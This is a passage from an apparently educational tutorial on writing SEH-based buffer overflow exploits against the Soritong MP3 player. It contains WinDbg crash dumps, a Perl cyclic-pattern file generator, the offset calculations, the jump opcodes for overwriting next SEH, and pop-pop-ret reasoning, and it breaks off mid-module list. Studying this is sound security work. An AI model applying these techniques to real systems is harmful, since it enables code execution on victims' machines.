8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">00422e33 8810            mov     <span style=\"color: #0000ff\">byte<\/span> ptr [eax],dl          ds:0023:00130000=41\n0:000&gt; d esp\n0012da14  3c eb aa 00 00 00 00 00-00 00 00 00 00 00 00 00  &lt;...............\n0012da24  94 da 12 00 00 00 00 00-e0 a9 15 00 00 00 00 00  ................\n0012da34  00 00 00 00 00 00 00 00-00 00 00 00 94 88 94 7c  ...............|\n0012da44  67 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00  g(.|............\n0012da54  01 00 00 00 24 da 12 00-71 b8 94 7c d4 ed 12 00  ....$...q..|....\n0012da64  8f 04 44 7e 30 88 41 7e-<strong><span style=\"color: #ff0000\">ff ff ff ff<\/span><\/strong> 2a 88 41 7e  ..D~0.A~....*.A~\n0012da74  7b 92 42 7e af 41 00 00-b8 da 12 00 d8 00 0b 5d  {.B~.A.........]\n0012da84  94 da 12 00 bf fe ff ff-b8 f0 12 00 b8 a5 15 00  ................<\/pre>\n<\/div>\n<p>ffffffff here indicates the end of the SEH chain.&#160; When we run !analyze -v, we get this :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">FAULTING_IP:\nSoriTong!TmC13_5+3ea3\n00422e33 8810            mov     <span style=\"color: #0000ff\">byte<\/span> ptr [eax],dl\n\nEXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)\nExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)\n   ExceptionCode: c0000005 (Access violation)\n  ExceptionFlags: 00000000\nNumberParameters: 2\n   Parameter[0]: 00000001\n   Parameter[1]: 00130000\nAttempt to write to address 00130000\n\nFAULTING_THREAD:  00000a4c\n\nPROCESS_NAME:  SoriTong.exe\n\nADDITIONAL_DEBUG_TEXT:\nUse <span style=\"color: #006080\">'!findthebuild'<\/span> command to search <span style=\"color: #0000ff\">for<\/span> the target build information.\nIf the build information <span style=\"color: #0000ff\">is<\/span> available, run <span style=\"color: #006080\">'!findthebuild -s ; .reload'<\/span> to set symbol path and load symbols.\n\nFAULTING_MODULE: 7c900000 ntdll\n\nDEBUG_FLR_IMAGE_TIMESTAMP:  37dee000\n\nERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at <span style=\"color: #006080\">&quot;0x%08lx&quot;<\/span> referenced memory at <span style=\"color: #006080\">&quot;0x%08lx&quot;<\/span>. The memory could not be <span style=\"color: #006080\">&quot;%s&quot;<\/span>.\n\nEXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at <span style=\"color: #006080\">&quot;0x%08lx&quot;<\/span> referenced memory at <span style=\"color: #006080\">&quot;0x%08lx&quot;<\/span>. The memory could not be <span style=\"color: #006080\">&quot;%s&quot;<\/span>.\n\nEXCEPTION_PARAMETER1:  00000001\n\nEXCEPTION_PARAMETER2:  00130000\n\nWRITE_ADDRESS:  00130000 \n\nFOLLOWUP_IP:\nSoriTong!TmC13_5+3ea3\n00422e33 8810            mov     <span style=\"color: #0000ff\">byte<\/span> ptr [eax],dl\n\nBUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS\n\nPRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE\n\nDEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE\n\nIP_MODULE_UNLOADED:\nud+41414140\n41414141 ??              ???\n\nLAST_CONTROL_TRANSFER:  from 41414141 to 00422e33\n\nSTACK_TEXT:\nWARNING: Stack unwind information not available. Following frames may be wrong.\n0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3\n0012fd3c 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd40 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd44 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd48 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd4c 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd50 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012fd54 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n\n<span style=\"background-color: #f4f4f4\">&#160;<\/span>. . . (<span style=\"background-color: #f4f4f4\">removed some of the lines)<\/span>\n\n0012ffb8 41414141 41414141 41414141 41414141 &lt;Unloaded_ud.drv&gt;+0x41414140\n0012ffbc \n\nSYMBOL_STACK_INDEX:  0\n\nSYMBOL_NAME:  SoriTong!TmC13_5+3ea3\n\nFOLLOWUP_NAME:  MachineOwner\n\nMODULE_NAME: SoriTong\n\nIMAGE_NAME:  SoriTong.exe\n\nSTACK_COMMAND:  ~0s ; kb\n\nBUCKET_ID:  WRONG_SYMBOLS\n\nFAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5\n\nFollowup: MachineOwner<\/pre>\n<\/div>\n<p>The exception record points at ffffffff, which means that the application did not use an exception handler for this overflow (and the \u201clast resort\u201d handler was used, which is provided for by the OS).<\/p>\n<p>When you dump the TEB after the exception occurred, you see this :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d fs:[0]\n003b:00000000  <strong><span style=\"color: #ff0000\">64 fd 12 00<\/span><\/strong> 00 00 13 00-00 c0 12 00 00 00 00 00 d...............\n003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................\n003b:00000020  00 0f 00 00 30 0b 00 00-00 00 00 00 08 2a 14 00 ....0........*..\n003b:00000030  00 b0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000040  38 43 a4 e2 00 00 00 00-00 00 00 00 00 00 00 00 8C..............\n003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<\/pre>\n<\/div>\n<div>=&gt; pointer to the SEH chain, at 0x0012FD64.<\/div>\n<div>That area now contains A\u2019s<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d 0012fd64\n0012fd64  <span style=\"color: #ff0000\"><strong>41 41 41 41<\/strong><\/span> 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fd74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fd84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fd94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fda4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fdb4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fdc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012fdd4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA<\/pre>\n<\/div>\n<p>The exception chain says :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; !exchain\n0012fd64: &lt;Unloaded_ud.drv&gt;+41414140 (<strong><span style=\"color: #ff0000\">41414141<\/span><\/strong>)\nInvalid exception stack at 41414141<\/pre>\n<\/div>\n<p>=&gt; so we have overwritten the exception handler.&#160; Now let the appliation catch the exception (simply type \u2018g\u2019 again in windbg, or press F5) and let\u2019 see what happens :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image41.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb41.png\" width=\"526\" height=\"103\" \/><\/a><\/p>\n<p>eip now points to 41414141, so we can control EIP.<\/p>\n<p>The exchain now reports<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; !exchain\n0012d658: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)\n0012fd64: &lt;Unloaded_ud.drv&gt;+41414140 (41414141)\nInvalid exception stack at 41414141<\/pre>\n<\/div>\n<div>Microsoft has released a windbg extension called <a href=\"http:\/\/msecdbg.codeplex.com\/\" target=\"_blank\" rel=\"noopener\">!exploitable<\/a>.&#160; Download the package, and put the dll file in the windbg program folder, inside the winext subfolder.<\/div>\n<div><a href=\"\/wp-content\/uploads\/2009\/07\/image43.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb43.png\" width=\"291\" height=\"120\" \/><\/a><\/div>\n<div>This module will help determining if a given application crash\/exception\/acces violation would be exploitable or not. (So this is not limited to SEH based exploits)<\/div>\n<div>When applying this module on the Soritong MP3 player, right after the first exception occurs, we see this :<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">(588.58c): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64\neip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei pl nz ac po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212\n*** WARNING: Unable to verify checksum <span style=\"color: #0000ff\">for<\/span> SoriTong.exe\n*** ERROR: Symbol file could not be found.  Defaulted to export symbols <span style=\"color: #0000ff\">for<\/span> SoriTong.exe -\nSoriTong!TmC13_5+0x3ea3:\n00422e33 8810            mov     <span style=\"color: #0000ff\">byte<\/span> ptr [eax],dl          ds:0023:00130000=41\n\n0:000&gt; <strong><span style=\"color: #ff0000\">!load winext\/msec.dll<\/span><\/strong>\n0:000&gt; <strong><span style=\"color: #ff0000\">!exploitable<\/span><\/strong>\nExploitability Classification: EXPLOITABLE\nRecommended Bug Title: Exploitable - User Mode Write AV starting at SoriTong!TmC13_5+0x0000000000003ea3 (Hash=0x46305909.0x7f354a3d)\n\nUser mode write access violations that are not near NULL are exploitable.<\/pre>\n<\/div>\n<div>After passing the exception to the application (and windbg catching the exception), we see this :<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; g\n(588.58c): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000\neip=41414141 esp=0012d644 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n&lt;Unloaded_ud.drv&gt;+0x41414140:\n41414141 ??              ???\n0:000&gt; <strong><span style=\"color: #ff0000\">!exploitable<\/span><\/strong>\nExploitability Classification: EXPLOITABLE\nRecommended Bug Title: Exploitable - Read Access Violation at the Instruction Pointer starting at &lt;Unloaded_ud.drv&gt;+0x0000000041414140 (Hash=0x4d435a4a.0x3e61660a)\n\nAccess violations at the instruction pointer are exploitable <span style=\"color: #0000ff\">if<\/span> not near NULL.<\/pre>\n<\/div>\n<div>Great module, nice work Microsoft \ud83d\ude42<\/div>\n<h3>Can I use the shellcode found in the registers to jump to ?<\/h3>\n<div>Yes and no. Before Windows XP SP1, you could jump directly to these registers in order to execute the shellcode.&#160; But from SP1 and up, a protection mechanism has been plut in place to protect things like that from happening.&#160; Before the exception handler takes control, all registers are XOred with each other, so they all point to 0x00000000<\/div>\n<div>That way, when SEH kicks in, the registers are useless.<\/div>\n<h3>Advantages of SEH Based Exploits over RET (direct EIP) overwrite stack overflows<\/h3>\n<div>In a typical RET overflow, you overwrite EIP and make it jump to your shellcode.<\/div>\n<div>This technique works well, but may cause stability issues (if you cannot find a jmp instruction in a dll, or if you need to hardcode addresses), and it may also suffer from buffer size problems, limiting the amount of space available to host your shellcode.<\/div>\n<div>It\u2019s often worth while, every time you have discovered a stack based overflow and found that you can overwrite EIP, to try to write further down the stack to try to hit the SEH chain.&#160; \u201cWriting further down\u201d means that you will likely end up with more available buffer space; and since you would be overwriting EIP at the same time (with garbage), an exception would be triggered automatically, converting the \u2018classic\u2019 exploit into a SEH exploit.<\/div>\n<h3>Then how can we exploit SEH based vulnerabilities ?<\/h3>\n<div>Easy. In SEH based exploits, your junk payload will first overwrite the next SEH pointer address, then the SE Handler.&#160; Next, put your shellcode.<\/div>\n<div>When the exception occurs, the application will go to the SE Handler. So you need to put something in the SE Handler so it would go to your shellcode. This is done by faking a second exception, so the application goes to the next SEH pointer.<\/div>\n<div>Since the next SEH pointer sits before the SE Handler, you can already overwritten the next SEH.&#160; The shellcode sits after the SE Handler.&#160; If you put one and one together, you can trick SE Handler to run pop pop ret, which will put the address to next SEH in EIP, and that will execute the code in next SEH. (So instead of putting an address in next SEH, you put some code in next SEH). All this code needs to do is jump over the next couple of bytes (where SE Handler is stored) and your shellcode will be executed<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">1st exception occurs :\n |\n --------------------------- (1)\n                            |\n                     -------+-------------- (3) opcode <span style=\"color: #0000ff\">in<\/span> next SEH : jump over SE Handler to the shellcode\n                     |      |             |\n                     |      V             V\n[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]\n                opcode to   <span style=\"color: #0000ff\">do<\/span>                 (3) Shellcode gets executed\n                jump over   pop pop ret\n                SE Handler   |\n                ^            |\n                |            |\n                -------------- (2) will \u2018pretend\u2019 there\u2019s a second exception, puts address of next SEH location in EIP, so opcode gets executed<\/pre>\n<\/div>\n<div>Of course, the shellcode may not be right after overwriting SE Handler\u2026 or there may be some additional garbage at the first couple of bytes\u2026&#160;&#160; It\u2019s important to verify that you can locate the shellcode and that you can properly jump to the shellcode.<\/div>\n<h3>How can you find the shellcode with SEH based exploits ?<\/h3>\n<div>First, find the offset to next SEH and SEH, overwrite SEH with a pop pop ret, and put breakpoints in next SEH.&#160; This will make the application break when the exception occurs, and then you can look for the shellcode.&#160; See the sections below on how to do this.<\/div>\n<h3>Building the exploit - Find the \u201cnext SEH\u201d and \u201cSE Handler\u201d offsets<\/h3>\n<p>We need to find the offset to a couple of things<\/p>\n<ul>\n<li>to the place where we will overwrite the next SEH (with jump to shellcode) <\/li>\n<li>to the place where we will overwrite the current SE Handler (should be right after the \u201cnext SEH\u201d (we need to overwrite this something that will bring us back at next SEH) <\/li>\n<li>to the shellcode <\/li>\n<\/ul>\n<p>A simple way to do this is by filling the payload with an unique pattern (metasploit rulez again), and then looking for these 3 locations<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">my $junk=<span style=\"color: #006080\">&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A&quot;<\/span>.\n<span style=\"color: #006080\">&quot;f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A&quot;<\/span>.\n<span style=\"color: #006080\">&quot;n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A&quot;<\/span>.\n<span style=\"color: #006080\">&quot;v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B&quot;<\/span>.\n<span style=\"color: #006080\">&quot;d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B&quot;<\/span>.\n<span style=\"color: #006080\">&quot;l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B&quot;<\/span>.\n<span style=\"color: #006080\">&quot;t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C&quot;<\/span>.\n<span style=\"color: #006080\">&quot;b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg&quot;<\/span>.\n<span style=\"color: #006080\">&quot;6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C&quot;<\/span>.\n<span style=\"color: #006080\">&quot;j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9&quot;<\/span>.\n<span style=\"color: #006080\">&quot;Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co&quot;<\/span>;\n\nopen (myfile,<span style=\"color: #006080\">&quot;&gt;ui.txt&quot;<\/span>);\nprint myfile $junk;<\/pre>\n<\/div>\n<p>Create the ui.txt file.<\/p>\n<p>Open windbg, open the soritong.exe executable. It will start paused, so launch it.&#160; The debugger will catch the first chance exception. Don\u2019t let it run further allowing the applicaiton to catch the exception, as it would change the entire stack layout.&#160; Just keep the debugger paused and look at the seh chain :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; !exchain\n0012fd64: &lt;Unloaded_ud.drv&gt;+41367440 (41367441)\nInvalid exception stack at 35744134<\/pre>\n<\/div>\n<p>The SEH handler was overwritten with 41367441.<\/p>\n<p>Reverse 41367441 (little endian) =&gt; 41 74 36 41, which is hex for At6A&#160; (<a title=\"http:\/\/www.dolcevie.com\/js\/converter.html\" href=\"http:\/\/www.dolcevie.com\/js\/converter.html\">http:\/\/www.dolcevie.com\/js\/converter.html<\/a>). This corresponds with offset 588. This has learned us 2 things :<\/p>\n<p>- The SE Handler is overwritten after 588 bytes<\/p>\n<p>- The Pointer to the next SEH is overwritten after 588-4 bytes = 584 bytes. This location is 0x0012fd64 (as shown at the !exchain output)<\/p>\n<p>We know that our shellcode sits right after overwriting the SE Handler. So the shellcode must be placed at 0012fd64+4bytes+4bytes<\/p>\n<p>[Junk][next SEH][SEH][Shellcode]<\/p>\n<p>(next SEH is placed at 0x0012fd64)<\/p>\n<p>Goal : The exploit triggers an exception, goes to SEH, which will trigger another exception (pop pop ret). This will make the flow jump back to next SEH. So all we need to tell \u201cnext SEH\u201d is \u201cjump over the next couple of bytes and you\u2019ll end up in the shellcode\u201d.&#160; 6 bytes (or more, if you start the shellcode with a bunch of NOPs) will do just fine.<\/p>\n<p>The opcode for a short jump is eb, followed by the jump distance. In other words, a short jump of 6 bytes corresponds with opcode eb 06. We need to fill 4 bytes, so we must add 2 NOP\u2019s to fill the 4 byte space. So the next SEH field must be overwritten with 0xeb,0x06,0x90,0x90<\/p>\n<h3>How exactly does the pop pop ret function when working with SEH based exploits?<\/h3>\n<p>When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the EH Handler on to the newly created stack (as part of a function prologue).&#160; One of the fields in the EH Structure is the EstablisherFrame.&#160; This field points to the address of the exception registration record (the next SEH) that was pushed onto the program stack.&#160; This same address is also located at ESP+8 when the handler is called.&#160; Now if we overwrite the handler with the address of a pop pop ret sequence :<\/p>\n<ul>\n<li>the first pop will take off 4 bytes from the stack <\/li>\n<li>the second pop will take another 4 bytes from the stack <\/li>\n<li>the ret will take the current value from the top of ESP ( = the address of the next SEH, which was at ESP+8, but because of the 2 pop\u2019s now sits at the top of the stack) and puts that in EIP. <\/li>\n<\/ul>\n<p>We have overwritten the next SEH with some basic jumpcode (instead of an address), so the code gets executed.<\/p>\n<p>In fact, the next SEH field can be considered as the first part of our shellcode (jumpcode).<\/p>\n<h3>Building the exploit - putting all pieces together<\/h3>\n<p>After having found the important offsets, we only need the the address of a pop pop ret before we can build the exploit.<\/p>\n<p>When launching Soritong MP3 player in windbg, we can see the list of loaded modules :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">ModLoad: 76390000 763ad000   C:\\WINDOWS\\system32\\IMM32.DLL\nModLoad: 773d0000 774d3000   C:\\WINDOWS\\WinSxS\\x86_Microsoft...d4ce83\\comctl32.dll\nModLoad: 74720000 7476c000   C:\\WINDOWS\\system32\\MSCTF.dll\nModLoad: 755c0000 755ee000   C:\\WINDOWS\\system32\\msctfime.ime\nModLoad: 72d20000 72d29000   C:\\WINDOWS\\system32\\wdmaud.drv\nModLoad: 77920000 77a13000   C:\\WINDOWS\\system32\\setupapi.dll\nModLoad: 76c30000 76c5e000   C:\\WINDOWS\\system32\\WINTRUST.dll\nModLoad: 77a80000 77b15000   C:\\WINDOWS\\system32\\CRYPT32.dll\nModLoad: 77b20000 77b32000   C:\\WINDOWS\\system32\\MSASN1.dll\nModLoad: 76c90000 76cb8000   C:\\WINDOWS\\system32\\IMAGEHLP.dll\nModLoad: 72d20000 72d29000   C:\\WINDOWS\\system32\\wdmaud.drv\nModLoad: 77920000 77a13000   C:\\WINDOWS\\system32\\setupapi.dll\nModLoad: 72d10000 72d18000   C:\\WINDOWS\\system32\\msacm32.drv\nModLoad: 77be0000 77bf5000   C:\\WINDOWS\\system32\\MSACM32.dll\nModLoad: 77bd0000 77bd7000   C:\\WINDOWS\\system32\\midimap.dll\n<strong><span style=\"color: #ff0000\">ModLoad: 10000000 10094000   C:\\Program Files\\SoriTong\\Player.dll<\/span><\/strong>\nModLoad: 42100000 42129000   C:\\WINDOWS\\system32\\wmaudsdk.dll\nModLoad: 00f10000 00f5f000   C:\\WINDOWS\\system32\\DRMClien.DLL\nModLoad: 5bc60000 5bca0000   C:\\WINDOWS\\system32\\strmdll.dll\nModLoad: 71ad0000 71ad9000   C:\\WINDOWS\\system32\\WSOCK32.dll\nModLoad: 